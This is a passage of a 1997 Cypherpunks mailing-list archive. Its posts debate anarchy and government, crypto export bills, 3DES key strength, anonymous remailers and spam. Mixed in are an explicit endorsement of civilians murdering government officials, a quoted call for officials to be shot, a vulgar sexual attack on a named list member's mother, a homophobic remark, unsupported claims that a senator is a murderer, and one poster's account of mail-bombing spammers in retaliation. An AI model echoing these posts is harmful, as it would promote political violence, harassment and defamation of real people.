> >First of all, it neglects to consider that governments may have 
> >prevented more murders than they caused.  This is unknowable, since 
> >we don't have any worthwhile control cases.
> 
> Your position is laughable.  Statistics on murder rates are knowable for
> many countries.  Studying the murder rate for those countries will at least
> provide a range against which deaths due to government-caused wars can be
> compared.

Only meaningful if you can compare with murder rates in a human 
society without a government...but of course, in fact the only time 
this happens is when society breaks down entirely.

And I am fascinated with the way you make the "government" into a 
bogeyman that is responsible for all the evils that beset the human 
race.  No consideration of other factors -- racial and tribal hatred, 
religious conflicts, class conflicts, etc etc.  A wonderful 
simplification. 

> >Second, such cases of civil breakdown aside, all humans, for now and
> >for the conceivable future, live within the context of some kind of
> >government.  The option of non-government simply doesn't exist. 
> 
> That's precisely what the governments and their agents want us to believe.
> Minarchism is certainly possible,

Oh boy.  A wonderful dream, minarchism, that everybody *must* secretly
want, except that some evil force is preventing them from getting to
it, and you, Jim Bell, are the savior that is going to bring it 
about.  A classic messiah complex.

[...]

> >Third, murders caused by governments can't really be separated from
> >murders caused by individuals.  That is, in many cases deciding
> >whether a murder is a personal action or a government action is
> >impossible. 
> 
> "Aye vas joost vollowink orderz!"
> 
> Sorry, we're still laughing at you.

When the LA cops beat up Rodney King, do you suppose they got any 
personal satisfaction out of it?  Or were they just cold government 
functionaries, doing their job?

> >Fourth, it's fashionable in these circles to paint all governments
> >with the same brush, but in fact, some are much better than others.  
> >But it only takes one bad one to start a war.  Furthermore, human 
> >motivations are complex and irrational, so wars are started for 
> >essentially insane reasons.  This is a human problem, not a problem 
> >of government.
> 
> No, quite the contrary.  Considered from the perspective of the cumulative
> interests of society, wars are not beneficial or "profitable."  Only from
> the very limited viewpoint of the military-industrial complex and government
> employees does war appear to be a net benefit, and that's true only because
> the interests of most of the population (on whom the effect of war is a net
> negative) is ignored.  The reason war occurs is that the decision to have a
> war is made not by society as a whole, but by that tiny fraction which profits.

So of course ideology could never start a war -- Arabs and Jews *only*
fight because of their governments, the American revolutionary war 
was *only* fought because the state governments wanted more power, 
the Tutsi's and the Hutus only fought because their governments 
forced them.  A wonderful simplification, blaming everything on 
"government". 

> Put the decision to have the war back into the hands of the population as a
> whole, and war will decrease.  Give the public the option to make war upon
> the government parasites infesting their own land, and war will end 
> forever.

A wonderful dream, truly.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From shamrock at netcom.com  Tue May 13 23:20:37 1997
From: shamrock at netcom.com (Lucky Green)
Date: Wed, 14 May 1997 14:20:37 +0800
Subject: The War is Underway (fwd)
Message-ID: <3.0.32.19970513223226.0074e2bc@netcom13.netcom.com>


At 01:22 PM 5/11/97 -0400, Black Unicorn wrote:
>As I recall, 3des ( DESk1 -> DESk2^-1 -> DESk3 ) has an effective
>keylength of 112 bits.  Less than IDEA.  Schneier discusses this.

Unfortunately, Schneier doesn't do a very good job at discussing the
strength of 3DES. This probably is to be expected, since there is no fixed
effective keylength of 3DES and a more detailed discussion would likely
exceed the format of Applied Cryptography. The work factor of breaking 3DES
depends on the number of known plaintexts. At best, the effective keylength
is 112 bits. At worst (this is an unlikely, perhaps unrealistic worst) the
effective keylength is ~90 bits. Contrast this with DESX, which has been
proven to be twice as hard as DES, therefore having an effective keylength
of 112 bits.

>It costs little today to develop a cipher with larger keyspace.  (DES with
>independent subkeys already exists and has a basic keyspace of 768 bits.
>A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
>the cipher briefly).  If users are willing to deal with large keys (I
>certainly am) then software designers are restraining a more secure
>implementation.

It costs lots to develop a cipher with a larger keyspace that has a known,
or reasonably assumed, work factor of higher than 112 bits. Again, it takes
years to cryptanalyze a new cipher.

It isn't software designers that are restraining more secure
implementations. The software designers don't have any better algorithms to
work with because the theorists haven't agreed on anything better yet.



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From tcmay at got.net  Tue May 13 23:21:34 1997
From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 14:21:34 +0800
Subject: unsafe SAFE:
In-Reply-To: <199705140419.VAA01203@proxy3.ba.best.com>
Message-ID: 


At 9:15 PM -0800 5/13/97, Declan McCullagh wrote:
>I believe Courtney got it wrong. Isn't it Pro-CODE that has the Info Board
>provision? See:
>
>  SEC. 6. INFORMATION SECURITY BOARD.
>
>   (a) INFORMATION SECURITY BOARD TO BE ESTABLISHED- The Secretary shall
>       establish an Information Security Board comprised of
>       representatives of agencies within the Federal Government
>       responsible for or involved in the formulation of information
>       security policy, including export controls on products with
>       information security features (including encryption). The Board
>       shall meet at such times and in such places as the Secretary may
>       prescribe, but not less frequently than quarterly. The Federal
>       Advisory Committee Act (5 U.S.C. App.) does not apply to the Board
>       or to meetings held by the Board under subsection (d).

That was what I recollected, vaguely.

I haven't spent near as much time analyzing Pro-CODE as I did a couple of
weeks ago with SAFE. People tell me Pro-CODE is not nearly as bad, but I
remain skeptical. And certainly James Donald is basically right that _any_
provision for a "review board" is a disaster.

Review boards mean bureaucracy, entrenched interests, and a wedge for
denial of licensens.

As to Conrad Burns himself, he seemd jovial and "conservative" at last
summer's Stanford mini-conference. Conservative in the sense I like.

But how will a Montana Republican like him respond when ultra-strong crypto
is used to, say, import child porn undetectably from Denmark, where there
standards of what is child porn differ from those of Montana? This is where
the "Review Board" will get involved, and so on and so forth.

No politician I know of will ever be a friend of crypto anarchy.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From kent at songbird.com  Tue May 13 23:25:02 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 14 May 1997 14:25:02 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: <19970513230543.60364@bywater.songbird.com>


On Tue, May 13, 1997 at 08:21:13PM -0800, Tim May wrote:
> At 6:34 PM -0800 5/13/97, Kent Crispin wrote:
> 
> >First of all, it neglects to consider that governments may have
> >prevented more murders than they caused.  This is unknowable, since
> >we don't have any worthwhile control cases.  (I suppose we
> >might examine a state of anarchic chaos (eg Rawanda) and compare the
> >percentage of murders...but such cases are symptoms of other human
> >ills, and cannot be used as a meaningful comparison, I believe.)
> 
> Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
> not any kind of anarchy such as any of us have ever advocated. Rather,
> Rwanda was a near-textbook example of one tribal faction (Hutus or Tutsis)
> coming to power and inititiating a pogrom against the rival faction (Tutsis
> or Hutus).
> 
> Calling this an "anarchy" is comparable to calling the pogrom by the Third
> Reich against Jews, gypsies, cripples, and others an example of anarchy.

Nonsense.

"anarchy n. the absence of government or control, resulting in 
lawlessness. 2. disorder, confusion" -- Oxford American Dictionary

Which part of that would you say didn't apply to Rwanda?  

In fact, the correlation between anarchy and war is very strong, for
obvious reasons.  Perhaps that is why most intelligent people don't
consider anarchy a desirable state of affairs. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From rwright at adnetsol.com  Tue May 13 23:31:19 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Wed, 14 May 1997 14:31:19 +0800
Subject: Spam IS Free Speech
Message-ID: <199705140604.XAA01787@adnetsol.adnetsol.com>


God, Last summer we had the whole "Spam as Free Speech Debate".  Now 
Rick Osborne drags it up again.  You can not retaliate against free 
speech, Rick.  That's a bad thing, plain and simple, black and white. 
Some of your metaphors are kinda harsh, and a bit cartoonish.

On or About 12 May 97 at 13:43, Rick Osborne wrote:

> I said:
> >I appreciate the inference as to my (lack of) intelligence.  ;)
> 
> To which Vulis wrote:
> >Your lack of ethics, rather.  You choose to work for someone who
> >chooses to use inadequate Microsoft software, and you brandish
> >these choices as an excuse to interfere with somene's free speech.
> 
> I'm not brandishing anything as an excuse, simply stating this: I
> should not have to walk through the street (get my email)

Well, you are doing OK so far.

> wearing 4
> inches of kevlar (using spam filters),

It depends on what street you are walking, here.  Kevelar *may* be in 
order.  What's your problem with your 'delete' key?  Broken?

> *just in case* someone
> decides to whip out a submachine gun (spam). 

Now, here's where you start to go really crazy.  Spam as a weapon?  
Please, Rick get ahold of yourself.  It's just e-mail.  Nothing scary 
or harmful, right?  Right?

> It should not me my
> job to defend myself from psychos, rather people should have to ask
> my permission to infringe upon my space and time.

You got a website?  You post to usenet?  I know you post to this 
list.  By now, everyone knows that any of those things are as good as 
giving away your e-mail address.  Maybe that's unethical, but it's a 
fact.  And if you do have a website, it's an open invitation for me 
to send you advertisements, just like the yellow pages.
 
> How am I taking away from Sanford's right to free speech by just
> spamming him back? 

Free speech is a right.  You have the right to make some snotty 
reply, but no right to intentionally harm.  You are doing wrong if 
you try to harm someone who is exercising their right to free 
speech.  Rick, what if someone decided they did not like an opinion 
you expressed on this list and did the same thing to you?  See, it's 
all the same thing.  You, nor anyone else, has a right to lash out at 
someone for something they say or some ad they send you.

> I sgree with this weekend's discussion on arp
> attacks: technically, they should be no different than spam attacks.
>  WHy then should he (or whoever) have the right to spam me without
> fear of retribution?

Because FREE SPEECH IS A RIGHT WE HAVE!  Why all this talk of retribution?
No one has a right to retaliate, get it?  First Amendment?  I didn't 
read in there the right to get back at some poor advertisers, did 
you?
  
> Actually, and this is just MHO, I don't really care if the 100 or so
> spams/arps I send them are but a mosquito's bite to them. 

Free Speech : Good      Mail Bombs : Bad

> It makes
> *me* feel better. 

Ahhh, at last the point.  Are you a self centred ass, who's personal 
feelings are more important that the Constitution?  Feel better?  How 
about when those black suited ninjas break into your house to steal 
your rights?  That's my metaphor of what you are doing to people who 
spam you...

> I'm not in this necessarily to shut anyone down
> (though it would be a nice side-effect), just to annoy them as much
> as they annoy me. Like I said, I'm more of the passive-agressive
> type, so I'm not here to wage a war, just a few small skirmishes.

It's talk like this that those good old boys in D.C. love.  Bad 
internet, bad.

Um, there is no war against spammers.  Did you know that?  You could 
be doing so much more with your time.  Please reconsider.  Thank you.

No war, no battles, no skirmishes, no need for "Anti-Spam Laws".  
Just be nice, and everything will work out for the best.  I'm more 
worried about this anti bomb making recipe law that the government is 
yammering about now. 

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From rwright at adnetsol.com  Wed May 14 00:05:21 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Wed, 14 May 1997 15:05:21 +0800
Subject: Disinformation in L.A.
Message-ID: <199705140626.XAA02266@adnetsol.adnetsol.com>


On or About 13 May 97 at 22:14, Lucky Green wrote:

> >month that calls for new legislation to ban bomb-making info
> >online. Now Feinstein's office tells me she's going to introduce a
> >bill. 
> 
> Feinswine never saw a gun/mind control bill she didn't like. She is
> an ultra fascist that rose to power thanks to the yellow dog Bay
> Area voters.

No, she rose to power over the murdered corpse of her boss.  Was she 
involved?  I lived in San Francisco for years and NEVER voted for 
her, it's hard to vote for a murderer

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From nobody at huge.cajones.com  Wed May 14 00:06:55 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 15:06:55 +0800
Subject: Kent's government spin...
Message-ID: <199705140627.XAA09650@fat.doobie.com>


Kent Crispin, assuming that others on the list are not capable
of understanding what someone posts unless he explains it, wrote:

> And Tim did *explictly advocate* the assasination of government
> officials:
> "Chiles and his co-conspirators should be shot for high crimes against
> the Constitution.  After Clinton, Freeh, Kerrey, and the other
> traitors."

  The punishment for high crimes against the Constitution is 
execution, which differs from assassination.
  It seems to me that those most worried about government criminals
being punished for their crimes are those participating in those
activities while trying to justify or downplay them.

  Kent, why don't you start a thread explaining how important it
is for government to feel free to imprison grandmothers for
plugging other people's parking meters without fearing retribution
from those who don't wish for their government to place them in a
cage like an animal for plugging parking meters? 
  (You could start by explaining that we need to protect our prison-
based economny, in the interests of a strong GNP.)
  I think this would be a good project to display to everyone the
type of mentality that you represent.

TruthMonger






From lucifer at dhp.com  Wed May 14 01:13:09 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 16:13:09 +0800
Subject: Spam IS Free Speech
Message-ID: <199705140746.DAA29236@dhp.com>


Ross Wright wrote:
> 
> You can not retaliate against free
> speech, Rick.  That's a bad thing, plain and simple, black and white.

  Crock of shit, Ross.
  It costs me money to download unwanted spam. What's this "free"
bullshit?

> You got a website?  You post to usenet?  I know you post to this
> list.  By now, everyone knows that any of those things are as good as
> giving away your e-mail address.  Maybe that's unethical, but it's a
> fact.  And if you do have a website, it's an open invitation for me
> to send you advertisements, just like the yellow pages.

  And if a woman wears short skirts, what kind of open invitation
is that? Are banks who advertise that they handle money announcing
an open invitation to the greedy?
 
> Free speech is a right.  You have the right to make some snotty
> reply, but no right to intentionally harm. 

  Spammers neither know nor care if they are causing harm to the
finances or mental well-being of others.
  If a spammer declares their right to cause me financial loss and
denial of service for the time it takes me to rid myself of their
unwanted intrusion then they can have no expectation that I, in 
turn, will not declare what level of financial loss and denial of
service I will cause them.

> You, nor anyone else, has a right to lash out at
> someone for something they say or some ad they send you.

  So spammers have no right to lash out at my sending them a
gigabyte of email regarding the evils of spamming. 

> > It makes
> > *me* feel better.
> 
> Ahhh, at last the point.  Are you a self centred ass, who's personal
> feelings are more important that the Constitution? 

  Ross has failed to explain just how the Constitution promotes the
spammer's right to intrude upon the spammer's life and cause them
financial loss while denying that right to the spammee.
  Ross' personal feelings seem to be important enough to him to cast
slurs on those who disagree with his black-and-white opinions regarding
his right to spam others without them having a corresponding right
to reply in kind.

  Gander. Goose.

TruthMonger






From stewarts at ix.netcom.com  Wed May 14 01:21:02 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 14 May 1997 16:21:02 +0800
Subject: Proxy Cryptography draft available
Message-ID: <3.0.1.32.19970514002854.0067f568@popd.ix.netcom.com>


Matt Blaze posted the following to cryptography/coderpunks.
Looks like potentially cool stuff. I had to use 
ftp://research.att.com/dist/mab/proxy.ps
as a URL, but that may just have been Netcom DNS weirdnesses.

>Subject: Proxy Cryptography draft available
>Date: Tue, 13 May 1997 18:37:10 -0400
>From: Matt Blaze 
>Sender: owner-cryptography at c2.net
>
>I've put a draft of a new paper in my ftp directory.  Comments and
>discussion welcome.  In particular, I'm curious if anyone can find
>any real practical application for symmetric proxy functions.
>
>ftp://ftp.research.att.com/dist/mab/proxy.ps
>
>Proxy Cryptography
>
>Matt Blaze
>Martin Strauss
>
>AT&T Labs -- Research
>{mab,mstrauss}@research.att.com
>
>Abstract:
>
>This paper introduces {\em proxy cryptography,} in which a {\em
>proxy function,} in conjunction with a public {\em proxy key,}
>converts ciphertext (messages in a public key encryption scheme or
>signatures in a digital signature scheme) for one key ($k_1$) into
>ciphertext for another ($k_2$).  Proxy keys, once generated, may
>be made public and proxy functions applied in untrusted environments.
>Various kinds of proxy functions might exist; {\em symmetric} proxy
>functions assume that the holder of $k_2$ unconditionally trusts
>the holder of $k_1$, while {\em asymmetric} proxy functions do not.
>It is not clear whether proxy functions exist for any previous
>public-key cryptosystems.  Several new public-key cryptosystems
>with symmetric proxy functions are described: an encryption scheme,
>which is at least as secure as Diffie-Hellman, an identification
>scheme, which is at least as secure as the discrete log, and a
>signature scheme derived from the identification scheme via a hash
>function.
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From nobody at huge.cajones.com  Wed May 14 01:31:27 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 16:31:27 +0800
Subject: Disinformation in L.A.
Message-ID: <199705140807.BAA14329@fat.doobie.com>


  Didn't her boss's murderer walk on the charge by using the defence
that he ate too many Twinkies?
  No political intrigue here...






From nobody at huge.cajones.com  Wed May 14 05:04:14 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 20:04:14 +0800
Subject: Quadratic residues
Message-ID: <199705141118.EAA21038@fat.doobie.com>


Tim May's mother attempted to pro-choice the unwanted 
little bastard by fishing with a coat hanger in her giant 
cunt, but failed miserably to pull the rabbit and 
succeeded only in scraping out the contents of little 
Timmy's fetal cranium (not much to begin with).

       (_) _____ (_)
          /O   O\   Tim May
         !   I   !
         ! \___/ !
          \_____/






From jya at pipeline.com  Wed May 14 05:05:35 1997
From: jya at pipeline.com (John Young)
Date: Wed, 14 May 1997 20:05:35 +0800
Subject: RSA v. PGP Complaint
Message-ID: <1.5.4.32.19970514114154.008b60fc@pop.pipeline.com>


Thanks to Vin McLelland we offer the text of the
complaint of RSA v. PGP:

   http://jya.com/rsavpgp.txt






From aba at dcs.ex.ac.uk  Wed May 14 06:36:48 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 14 May 1997 21:36:48 +0800
Subject: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <199705140034.TAA23384@einstein.ssz.com>
Message-ID: <199705141210.NAA01034@server.test.net>


Jim Choate  writes:
> [...]
> I don't want it known who is subscribed to lists through SSZ, in short:
> It isn't any of your damn business and quit asking.

Oh.  I guess that explains the blank message I got back from
majordomo at ssz.com!  I counted that as no one subscribed (or inactive).
So I guess the count of cypherpunks subscribers is an underestimate
having discounted anyone subscribed through ssz.com.

Would you be interested to reveal the number of subscribers for
counting purposes?  (Not a big deal if you're not).

> > The only true reliability can be achieved by subscribing to two or more
> > cypherpunks sites, and eliminating duplicates. Reliability has its costs.
> 
> As do freedom, privacy, anonymity, etc.

If you have a shell account, you could run an email concentrator
(remove duplicates) with procmail, and then down load only the non
duplicates.  With this setup you could subscribe to all 3 lists and
not notice any outages.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:

1) Log all of their mail messages?
2) Are in many cases reputed to be run by foreign intelligence services?

Do they really trust the owner of the remailer? (Unless of course, it is their remailer?)  I seem to be missing something.






From m1tca00 at FRB.GOV  Wed May 14 07:42:31 1997
From: m1tca00 at FRB.GOV (Tom Allard)
Date: Wed, 14 May 1997 22:42:31 +0800
Subject: Disinformation in L.A.
In-Reply-To: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>
Message-ID: <199705141324.JAA04425@bksmp2.FRB.GOV>



> At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
> >You might remember I wrote recently about the DoJ report released this
> >month that calls for new legislation to ban bomb-making info online. Now
> >Feinstein's office tells me she's going to introduce a bill. 
> 
> Feinswine never saw a gun/mind control bill she didn't like. She is an
> ultra fascist that rose to power thanks to the yellow dog Bay Area voters.

Give credit where it's due.  She really owes a debt to the assassin Dan 
White, without whom she'd probably still be a lowly Supervisor.

rgds-- TA  (tallard at frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D







From m1tca00 at FRB.GOV  Wed May 14 07:43:08 1997
From: m1tca00 at FRB.GOV (Tom Allard)
Date: Wed, 14 May 1997 22:43:08 +0800
Subject: Disinformation in L.A.
In-Reply-To: <199705140807.BAA14329@fat.doobie.com>
Message-ID: <199705141328.JAA04510@bksmp2.FRB.GOV>



>   Didn't her boss's murderer walk on the charge by using the defence
> that he ate too many Twinkies?
>   No political intrigue here...

That was the defense, yes.  Dan White was a former cop and treated like a 
hero by fellow cops.  The prosecution never really challenged the Twinkie 
defense, nor did they bring up politics or homophobia as motives.  With a 
prosecution like that, who needs a defense?

rgds-- TA  (tallard at frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D







From spectre at nac.net  Wed May 14 08:34:45 1997
From: spectre at nac.net (The Spectre)
Date: Wed, 14 May 1997 23:34:45 +0800
Subject: Spectre disapproves of remailers and anonmyity
Message-ID: <15020777617590@nac.net>


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks at toad.com
Date: Wed May 14 11:06:28 1997

> Nonsense. People use remailers for all sorts of reasons.
I'm waiting... number one reason seems to be spam.. no matter, though.. 
I've added the filter, and won't take it out unless a very good reason 
comes along.

> (Speaking for myself, and trying to be careful to not implicate myself 
> (in
> further felonies, I've used the available remailers to post 
> liberated information of various sorts. Go back and check the archives. 
> You'll find that "Dumpster divings" of information from corporate 
> conspirators (a la Cylink, Mykotronx) was posted through anonymous 
> remailers. Who would argue that the cause of liberty would be better 
> served by posting these items under one's own name, where the Corporate 
> State could then file lawsuits, order midnight raids, etc.?)
Much easier to put something like that on multiple ftp sites and then alert 
the public to what you've 'found' there.

> 
> As for the time to delete the Vulis spam, you must be innumerate.
You insult my position without disproving it.  I am not impressed.  In any 
case, I spend far less time now deleting those messages, seeing as how I 
don't spend any.



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=tS4W
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From hallam at ai.mit.edu  Wed May 14 08:38:14 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Wed, 14 May 1997 23:38:14 +0800
Subject: Public Key Break Paper
Message-ID: <199705141507.LAA11920@life.ai.mit.edu>


>I just took a brief look at it, (thanks for forwarding, Lucky),
>and it's pure crap-ola.

As a meta-point any securirty person knows that employees and
ex-employees are the most serious security risks. Its not exactly
unknown for someone to go nuts and then come out with loony 
paranoid theories.

This may not be the case in this instance but its a good idea not
to start seeing black helicopters arround every corner...

Phill







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From spectre at nac.net  Wed May 14 08:40:47 1997
From: spectre at nac.net (The Spectre)
Date: Wed, 14 May 1997 23:40:47 +0800
Subject: Would the anonymous person(s) please...
Message-ID: <15075074017690@nrt.net>


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Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks at toad.com
Date: Wed May 14 11:12:10 1997

> Would all those anonymous remailing people with a flame tendency, 
> please flame the person of your attacks, and don't send this bullshit 
> to the list?  Thanks...
> 
What would be the point.. the only person you can be *sure* doesn't care 
about these messages is the mark.

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From dlv at bwalk.dm.com  Wed May 14 08:43:20 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 14 May 1997 23:43:20 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials in or Near Government
In-Reply-To: <199705140045.RAA09717@netcom11.netcom.com>
Message-ID: 


"Vladimir Z. Nuri"  writes:
> therefore, it is ok for civilians to murder government officials,
Yes.
> CED (cypherpunk QED) endorsed by TCM, Bell, etc. ad nauseum
And myself.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Wed May 14 08:47:46 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 14 May 1997 23:47:46 +0800
Subject: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: 
Message-ID: 


Lucky Green  writes:
>
> I walked _through_ the housing projects in San Francisco at ~3:30 am on a
> Sunday morning. ...

Homosexuals who go "cruising" (picking up strangers in order to have sex
with them) often get hurt or killed.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From spectre at nac.net  Wed May 14 08:49:20 1997
From: spectre at nac.net (The Spectre)
Date: Wed, 14 May 1997 23:49:20 +0800
Subject: Anonymity and cowardice
Message-ID: <15302945318065@nac.net>


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To: cypherpunks at toad.com
Date: Wed May 14 11:34:45 1997

> The time per year it takes for me to delete all these messages is about 
> the same as the amount of time it took me to reply to your previous 
> message plus the amount of time it will now take me to compose this 
> reply.  All back of the envelope, of course.
All by choice, which is what we're talking about here..

> I've been on this list for 18 months and have seen plenty of worthwhile
> posts from remailers.  You're entitled to your opinion, but I strongly
> disagree.
I guess I'll just never know..

> So you're calling John Jay, James Madison, and Alexander Hamilton 
> cowards
> (anonymous authors of the Federalist Papers)?  Many others have 
> (also used
> anonymity to further the cause of liberty.  I doubt your real 
> name is "The Spectre" yet that is the name under which you are posting. 
>  Are you calling yourself a coward?
The difference in all these cases (save mine) is that the people you listed 
would have been persecuted, if not prosecuted, for their actions.  Now 
people are hiding out of fear and paranoia of something that in most cases 
doesn't exist.  The people you mentioned never had to deal with this level 
of abuse, either.

In my case, it's simply the name i've old my email package to append to my 
messages.  Anyone who really wants to can look me up at any time.
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From usa at quantcom.com  Thu May 15 00:07:55 1997
From: usa at quantcom.com (usa at quantcom.com)
Date: Thu, 15 May 1997 00:07:55 -0700 (PDT)
Subject: SLASH YOUR LONG DISTANCE PHONE COST TO 7.9c PER MINUTE !
Message-ID: <199705150707.AAA26495@toad.com>




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From tcmay at got.net  Wed May 14 09:10:47 1997
From: tcmay at got.net (Tim May)
Date: Thu, 15 May 1997 00:10:47 +0800
Subject: Helicopters Revisited
In-Reply-To: <199705141507.LAA11920@life.ai.mit.edu>
Message-ID: 


At 7:13 AM -0800 5/14/97, Phillip M. Hallam-Baker wrote:

>This may not be the case in this instance but its a good idea not
>to start seeing black helicopters arround every corner...
>

Don't worry, I don't see black helicopters buzzing around my hilltop.

This is because they have disguised themselves in various ways. I can still
_hear_ them, but now their invisible stealth mode is apparently being used
to prevent me from adequately detecting them.

This all started when Bill Clinton flew over my house in the summer of
1995. A woman visiting my house waved an AR-15 in his general direction,
much to my consternation (though I favor his removal, I feared flaming
wreckage raining down on my area, plus various SS agents carrying me off to
KZs).

After this, the stealth mode was turned on...now the black helicopters are
invisible to me.

--Tim May


--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]







From tcmay at got.net  Wed May 14 09:18:57 1997
From: tcmay at got.net (Tim May)
Date: Thu, 15 May 1997 00:18:57 +0800
Subject: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: 


At 5:17 AM -0800 5/14/97, Roger J. Jones wrote:
>Why is it that some who are very concerned about their personal privacy
>utilize anonymous remailers that:
>
>1) Log all of their mail messages?

With chained, multiply-encrypted messages, logs are ineffective unless all
of the links in the chain collude to trace messages. While this is
certainly possible, it seems unlikely.


>2) Are in many cases reputed to be run by foreign intelligence services?

This allegation was made by some clueless Washington think tank authors.
They provided no evidence, only innuendo, and they were unwilling or unable
to provide any further comments when queried by several Cypherpunks.

And given that many or even most of the remailer operators are members of
the various related Cypherpunks or Remailers Operators lists, and are known
to various of us, the notion that most (or even many) remailers are run by
intelligence agencies is absurd.


>Do they really trust the owner of the remailer? (Unless of course, it is
>their remailer?)  I seem to be missing something.

I don't recognize your name on this list. Fine, as we always like to see
new subscribers. But I surmise you just haven't spent enough time yet
reading and thinking about these issues.

Welcome to the Cypherpunks list.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Wed May 14 09:27:00 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 15 May 1997 00:27:00 +0800
Subject: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: 
Message-ID: <199705141559.KAA20547@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on 05/13/97 at
11:07 PM,
   Declan McCullagh  said:


>I appreciate William's comments, but he fails to understand the reality of
>the situation. Let's forget about the "furtherance" provision for a
>moment.

>Congress is not passing a new law in lifting export controls. Rather, it
>is reducing the sweep of one it already passed that the White House has
>abused.

Well that is another issues that I had not addressed in my post: The
Userping of powers relegated to the Legislative Branch by the Excutive
Branch via Executive Order.

If Congress was intrested in doing the "right thing" then law they should
be passing should be quite small stating that the Executive Order is
Unconstitutional and by an Act of Congress is Repealed.

This is not what they are doing. What they are saying with SAFE is that you
have no Constitutional Rights on this issue but because we are nice guys we
are going to pass a law making it legal, oh by the way we are going to tack
a few riders on here for our own purposes.

The whole approach to this issue is wrong. There is *no* valid law
